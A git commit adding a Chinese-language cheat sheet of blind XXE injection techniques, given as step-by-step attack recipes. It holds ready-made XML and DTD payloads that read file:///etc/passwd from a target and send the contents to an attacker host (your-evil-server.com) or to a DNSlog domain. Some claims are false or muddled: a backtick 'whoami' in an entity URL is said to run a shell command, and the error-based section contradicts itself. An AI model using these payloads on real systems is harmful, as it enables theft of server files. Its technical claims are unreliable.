Add files via upload
This commit is contained in:
@@ -0,0 +1,118 @@
|
||||
### XXE 盲注思路
|
||||
|
||||
**1. 基础的带外请求(OOB)**
|
||||
|
||||
这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞,即使没有回显
|
||||
|
||||
- **攻击步骤:**
|
||||
|
||||
1. **准备攻击服务器:** 搭建一个 Web 服务器(例如使用 Python 的 `SimpleHTTPServer`)或利用**DNSlog**平台
|
||||
|
||||
2. **构造恶意 XML 实体:**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
|
||||
%p1;
|
||||
]>
|
||||
<test></test>
|
||||
```
|
||||
|
||||
3. **发送请求:** 将上述 XML 作为请求体发送到目标服务器
|
||||
|
||||
4. **确认存在漏洞:** 如果你的服务器收到了来自目标 IP 的 `GET /test` 请求,就说明服务器存在 XXE 漏洞
|
||||
|
||||
**2. 利用带外请求获取文件内容**
|
||||
|
||||
确认漏洞存在后,下一步就是尝试读取服务器上的文件
|
||||
|
||||
- **攻击步骤:**
|
||||
|
||||
1. **构造恶意 DTD 文件:** 在你的攻击服务器上,创建一个 DTD 文件(例如 `evil.dtd`),内容如下:
|
||||
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">
|
||||
```
|
||||
|
||||
2. **构造主 XML 请求:**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
|
||||
%p1;
|
||||
%send;
|
||||
]>
|
||||
<test></test>
|
||||
```
|
||||
|
||||
3. **发送请求:**
|
||||
|
||||
- 当服务器解析主 XML 文件时,它会首先请求 `evil.dtd`
|
||||
- 解析 `evil.dtd` 后,它会读取 `file:///etc/passwd` 的内容,并将其作为 `%file` 实体的值
|
||||
- 最后,它会请求 `%send` 实体,将文件内容作为 `GET` 参数发送到你的服务器
|
||||
|
||||
4. **接收数据:** 你会在你的服务器日志中看到类似 `GET /?data=root:x:0:0:root:/root:/bin/bash...` 的请求,从而获取 `/etc/passwd` 的内容
|
||||
|
||||
**3. 利用参数实体获取错误信息**
|
||||
|
||||
当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤
|
||||
|
||||
- **攻击步骤:**
|
||||
|
||||
1. **构造恶意 DTD 文件:** 在你的服务器上创建 DTD 文件,内容如下:
|
||||
|
||||
```xml
|
||||
<!ENTITY % p1 "
|
||||
<!ENTITY % oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
|
||||
">
|
||||
```
|
||||
|
||||
2. **构造主 XML 请求:**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
|
||||
%dtd;
|
||||
%p1;
|
||||
%oob;
|
||||
]>
|
||||
<root></root>
|
||||
```
|
||||
|
||||
3. **发送请求:**
|
||||
|
||||
- 服务器解析主 XML 时,会首先加载 `evil.dtd`
|
||||
- 然后,它会尝试解析 `%p1`,其中包含 `%oob` 的定义
|
||||
- 由于 `%oob` 实体引用了 `%file`,而 `%file` 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息
|
||||
|
||||
- **这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。** 虽然不能直接从响应中看到,但可以利用这个特性进行注入
|
||||
|
||||
**4. 利用 DNSlog 获取数据**
|
||||
|
||||
当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择
|
||||
|
||||
- **攻击步骤:**
|
||||
|
||||
1. **准备 DNSlog 平台:** 获取一个 DNSlog 域名,例如 `hacker.dnslog.cn`
|
||||
|
||||
2. **构造 XML 请求:**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
|
||||
%p1;
|
||||
]>
|
||||
<test></test>
|
||||
```
|
||||
|
||||
3. **发送请求:**
|
||||
|
||||
- 服务器解析 XML 时,会尝试解析 `whoami` 命令的输出,并将其作为子域名,向 `hacker.dnslog.cn` 发起 DNS 查询
|
||||
|
||||
4. **查看结果:** 你会在 DNSlog 平台的日志中看到类似 `www-data.hacker.dnslog.cn` 的查询记录,从而获取到 `whoami` 命令的输出
|
||||
Reference in New Issue
Block a user